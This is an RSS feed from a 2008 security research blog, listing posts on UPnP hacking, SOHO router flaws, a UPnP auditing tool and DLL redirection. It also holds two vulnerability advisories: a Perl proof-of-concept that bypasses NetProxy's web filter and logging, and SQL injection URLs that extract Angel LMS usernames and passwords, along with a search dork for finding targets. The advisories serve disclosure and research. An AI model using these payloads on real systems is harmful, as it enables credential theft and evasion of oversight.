<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>SourceSec Security Research Group</title>
	<atom:link href="http://www.sourcesec.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sourcesec.com</link>
	<description>Security research and vulnerability assesment</description>
	<pubDate>Sat, 06 Dec 2008 01:02:01 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.5</generator>
	<language>en</language>
			<item>
		<title>Plug-N-Play Network Hacking</title>
		<link>http://www.sourcesec.com/2008/12/04/plug-n-play-network-hacking/</link>
		<comments>http://www.sourcesec.com/2008/12/04/plug-n-play-network-hacking/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 13:24:11 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
		
		<category><![CDATA[Papers]]></category>

		<category><![CDATA[EthicalHacker]]></category>

		<category><![CDATA[Tutorial]]></category>

		<category><![CDATA[UPNP]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=55</guid>
		<description><![CDATA[I&#8217;ve just published a new article on my column over at Ethical Hacker describing the UPNP protocol, and how to hack it using Miranda. Don came up with a great image for the article too&#8230;you can check it out here!
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ethicalhacker.net/content/view/220/1/"><img class="alignright" title="UPNP" src="http://www.ethicalhacker.net/images/stories/columns/heffner/upnp/upnp-logo-exploded_sm.jpg" alt="" width="118" height="70" /></a>I&#8217;ve just published a new article on my column over at Ethical Hacker describing the UPNP protocol, and how to hack it using <a href="http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/">Miranda</a>. Don came up with a great image for the article too&#8230;you can check it out <a href="http://www.ethicalhacker.net/content/view/220/1/">here</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/12/04/plug-n-play-network-hacking/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hacking the Routers: SOHO Router Security</title>
		<link>http://www.sourcesec.com/2008/11/09/hacking-the-routers-soho-router-security/</link>
		<comments>http://www.sourcesec.com/2008/11/09/hacking-the-routers-soho-router-security/#comments</comments>
		<pubDate>Mon, 10 Nov 2008 04:50:29 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
		
		<category><![CDATA[Papers]]></category>

		<category><![CDATA[Research]]></category>

		<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=43</guid>
		<description><![CDATA[We&#8217;ve been taking a close look at some popular SOHO routers lately, and have started to find some really interesting stuff. It&#8217;s actually a little disconcerting - I don&#8217;t think that we have seen a router that doesn&#8217;t contain some type of exploitable vulnerability. We&#8217;ve written up a preliminary paper detailing some of the issues [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://farm3.static.flickr.com/2191/2054390424_71068d839a.jpg"><img class="alignright" title="WRT54G configuration page, courtesy of Flickr" src="http://farm3.static.flickr.com/2191/2054390424_71068d839a.jpg" alt="" width="132" height="99" /></a>We&#8217;ve been taking a close look at some popular SOHO routers lately, and have started to find some really interesting stuff. It&#8217;s actually a little disconcerting - I don&#8217;t think that we have seen a router that doesn&#8217;t contain some type of exploitable vulnerability. We&#8217;ve written up a preliminary <a href="http://www.sourcesec.com/Lab/soho_router_report.pdf">paper</a> detailing some of the issues that we&#8217;ve discovered; there are some other, more serious issues that we&#8217;re still in the middle of investigating and we&#8217;ll hopefully have more information about those up here soon. An excerpt from the introduction:</p>
<blockquote><p>With embedded devices permeating today&#8217;s home networks, they have begun to attract a higher level of scrutiny from the security community than in previous years. In particular, the members of GNUCitizen have been relentlessly testing routers and wireless access points. Their discovery of multiple vulnerabilities in the BT Home Hub router affected a wide range of home networks in the UK [1], and their Router Hacking Challenge prompted a flurry of vulnerability reports against a variety of popular home routers, including the venerable Linksys WRT54G [2]. Specific vulnerabilities in home routers range from traditional Web attacks, such as XSS and CSRF, to authentication bypass attacks and buffer overflows; it is assumed that the reader has at least a passing knowledge of the attacks described in this paper.</p>
<p style="margin-bottom: 0in;">The purpose of this paper is to outline the security measures being taken by vendors to prevent such attacks in their home routing products, what those security measures accomplish, and where they fall short. We will use existing network tools to examine common vulnerabilities in a range of popular devices and demonstrate weaknesses in the security of those devices; additionally, we will examine common trends in security measures that have been duplicated across vendors, and examine how those trends help and hinder the security of their devices. In particular, we will examine the following home routers, which are some of the latest offerings from their respective vendors at the time of this writing:</p>
<p>&nbsp;</p>
<ul>
<li>Linksys WRT160N</li>
<li>D-Link DIR-615</li>
<li>Belkin F5D8233-4v3</li>
<li>ActionTec  MI424-WR</li>
</ul>
</blockquote>
<p>&nbsp;</p>
<p>Read the entire article <a href="http://www.sourcesec.com/Lab/soho_router_report.pdf">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/09/hacking-the-routers-soho-router-security/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Miranda UPNP Administration Tool</title>
		<link>http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/</link>
		<comments>http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 23:46:22 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[UPNP]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=25</guid>
		<description><![CDATA[Miranda is a Python-based Universal Plug-N-Play client application designed to discover, query and interact with UPNP devices, particularly Internet Gateway Devices (aka, routers). It can be used to audit UPNP-enabled devices on a network for possible vulnerabilities. Some of its features include:

Interactive shell with tab completion and command history
Passive and active discovery of UPNP devices
Customizable [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.upnp.org/newsletters/images/image005.gif"><img class="alignright" title="UPNP stack, complements of the UPNP Forum" src="http://www.upnp.org/newsletters/images/image005.gif" alt="" width="142" height="84" /></a><a href="http://www.sourcesec.com/Lab/miranda.tar.gz">Miranda</a> is a Python-based Universal Plug-N-Play client application designed to discover, query and interact with UPNP devices, particularly Internet Gateway Devices (aka, routers). It can be used to audit UPNP-enabled devices on a network for possible vulnerabilities. Some of its features include:</p>
<ul>
<li>Interactive shell with tab completion and command history</li>
<li>Passive and active discovery of UPNP devices</li>
<li>Customizable MSEARCH queries (query for specific devices/services)</li>
<li>Full control over application settings such as IP addresses, ports and headers</li>
<li>Simple enumeration of UPNP devices, services, actions and variables</li>
<li>Correlation of input/output state variables with service actions</li>
<li>Ability to send actions to UPNP services/devices</li>
<li>Ability to save data to file for later analysis and collaboration</li>
<li>Command logging</li>
</ul>
<p>&nbsp;</p>
<p>Miranda was built on and for a Linux system and has been tested on a Linux 2.6 kernel with Python 2.5. 	However, since it is written in Python, most functionality <em>should</em> be available for any Python-supported 	platform. Miranda has been tested against IGDs from various vendors, including Linksys, D-Link, Belkin and ActionTec. 	All Python modules came installed by default on a Linux Mint 5 (Ubuntu 8.04) test system.</p>
<p>For more information about UPNP, visit the <a href="http://www.upnp.org/">UPNP Forum</a>. For information regarding UPNP vulnerabilities, see <a href="http://www.upnp-hacks.org/">UPNP Hacks</a> and <a href="http://www.gnucitizen.org/blog/hacking-with-upnp-universal-plug-and-play/">GNUCitizen</a>.</p>
<p><a href="http://www.sourcesec.com/Lab/miranda.tar.gz">Download</a> Miranda!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows DLL Redirection</title>
		<link>http://www.sourcesec.com/2008/11/03/windows-dll-redirection/</link>
		<comments>http://www.sourcesec.com/2008/11/03/windows-dll-redirection/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:48:56 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
		
		<category><![CDATA[Papers]]></category>

		<category><![CDATA[Techniques]]></category>

		<category><![CDATA[reverse engineering]]></category>

		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=19</guid>
		<description><![CDATA[In Windows, all applications must communicate with the kernel through API functions; as such, these functions are critical to even the simplest Windows application. Thus, the ability to intercept, monitor, and modify a program&#8217;s API calls, commonly called API hooking, effectively gives one full control over that process. This can be useful for a multitude [...]]]></description>
			<content:encoded><![CDATA[<p>In Windows, all applications must communicate with the kernel through API functions; as such, these functions are critical to even the simplest Windows application. Thus, the ability to intercept, monitor, and modify a program&#8217;s API calls, commonly called API hooking, effectively gives one full control over that process. This can be useful for a multitude of reasons, including debugging, reverse engineering, and hacking (in all interpretations of the word).</p>
<p>While there are several methods which can be used to achieve our goal, this tutorial will examine only DLL redirection. This approach was chosen for several reasons:</p>
<ul style="list-style-type:decimal;">
<li>It is relatively simple to implement.</li>
<li>It allows us to view and modify parameters passed to an API function, change return values of that function, and run any other code we desire.</li>
<li>While most other methods require code to be injected into the target process or run from an external application, DLL redirection requires only write access to the target application&#8217;s working directory.</li>
<li>We can intercept any API call without modifying the target (either on disk or in memory) or any system files.</li>
</ul>
<p>The full article has been posted on <a href="http://www.ethicalhacker.net/content/view/207/2/">EthicalHacker.net</a> and <a href="http://milw0rm.com/papers/105">milw0rm.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/03/windows-dll-redirection/feed/</wfw:commentRss>
		</item>
		<item>
		<title>NetProxy 4.03 Web Filter Evasion</title>
		<link>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/</link>
		<comments>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:36:50 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
		
		<category><![CDATA[Code]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=12</guid>
		<description><![CDATA[Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy&#8217;s logging feature.
Description
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:
GET http://www.milw0rm.com HTTP/1.0
NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending [...]]]></description>
			<content:encoded><![CDATA[<p>Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy&#8217;s logging feature.</p>
<p><strong>Description</strong><br />
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:</p>
<blockquote><p>GET http://www.milw0rm.com HTTP/1.0</p></blockquote>
<p>NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending a request without &#8216;http://&#8217; in the URL allows access to the blocked URL (note that the port must be manually specified as well):</p>
<blockquote><p>GET www.milw0rm.com:80 HTTP/1.0</p></blockquote>
<p>In addition, requests made in this manner are not logged to NetProxy&#8217;s connection log file.</p>
<p><strong>Exploit POC</strong><br />
<code>#!/usr/bin/perl<br />
use IO::Socket;</p>
<p>#Define the NetProxy server and port<br />
$proxy_ip = "127.0.0.1";<br />
$proxy_port = "8080";</p>
<p>#Set the site, port and page to request<br />
$site = "www.milw0rm.com";<br />
$port = "80";<br />
$page = "index.html";</p>
<p>#Define FF and IE user agent strings<br />
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";<br />
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";</p>
<p>#Create connection to NetProxy<br />
my $sock = new IO::Socket::INET(<br />
Proto =&gt; 'tcp',<br />
PeerAddr =&gt; $proxy_ip,<br />
PeerPort =&gt; $proxy_port,<br />
);<br />
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n&#8221; unless $sock;</p>
<p>#Format the request<br />
$request = &#8220;GET $site:$port/$page HTTP/1.0\r\n&#8221;;<br />
$request .= &#8220;User-Agent: $ms_ff\r\n&#8221;;<br />
$request .= &#8220;\r\n&#8221;;</p>
<p>#Send the request<br />
print $sock $request;</p>
<p>#Read the reply<br />
while(&lt;$sock&gt;){<br />
$reply .= $_;<br />
}</p>
<p>close($sock);</p>
<p>#Separate NetProxy header from HTML<br />
($header,$html) = split(&#8221;\r\n\r&#8221;,$reply);</p>
<p>print $html;</p>
<p>exit;</code></p>
<p><strong>Credits</strong><br />
Discovered by Craig Heffner and originally posted on <a href="http://milw0rm.com/exploits/3381">milw0rm</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Angel LMS 7.1 SQL Injection Vulnerability</title>
		<link>http://www.sourcesec.com/2008/11/03/angel-lms-71-sql-injection-vulnerability/</link>
		<comments>http://www.sourcesec.com/2008/11/03/angel-lms-71-sql-injection-vulnerability/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:29:22 +0000</pubDate>
		<dc:creator>craig</dc:creator>
		
		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[SQL Injection]]></category>

		<category><![CDATA[Web exploit]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=8</guid>
		<description><![CDATA[Angel LMS 7.1 contains a SQL injection vulnerability in the /section/default.asp page that grants an un-authenticated users access to all database tables and data. Examples include enumeration of tables, columns, user names, passwords, grades, and test questions/answers (you basically have access to everything).
Exploit POC
/section/default.asp?id=&#8217;+union+select+top+1+username+from+faculty_accounts&#8211;&#8221;
/section/default.asp?id=&#8217;+union+select+top+1+username+from+accounts&#8211;&#8221;
/section/default.asp?id=&#8217;+union+select+top+1+password+from+accounts&#8211;&#8221;
Google Dork
intext:&#8221;2006 angel learning, inc&#8221; -pdf
Credits
Vulnerability discovered by Craig Heffner, originally posted [...]]]></description>
			<content:encoded><![CDATA[<p>Angel LMS 7.1 contains a SQL injection vulnerability in the /section/default.asp page that grants an un-authenticated users access to all database tables and data. Examples include enumeration of tables, columns, user names, passwords, grades, and test questions/answers (you basically have access to everything).</p>
<p><strong>Exploit POC</strong><br />
/section/default.asp?id=&#8217;+union+select+top+1+username+from+faculty_accounts&#8211;&#8221;<br />
/section/default.asp?id=&#8217;+union+select+top+1+username+from+accounts&#8211;&#8221;<br />
/section/default.asp?id=&#8217;+union+select+top+1+password+from+accounts&#8211;&#8221;</p>
<p><strong>Google Dork</strong><br />
intext:&#8221;2006 angel learning, inc&#8221; -pdf</p>
<p><strong>Credits</strong><br />
Vulnerability discovered by Craig Heffner, originally posted on <a href="http://milw0rm.com/exploits/3390">milw0rm</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/03/angel-lms-71-sql-injection-vulnerability/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
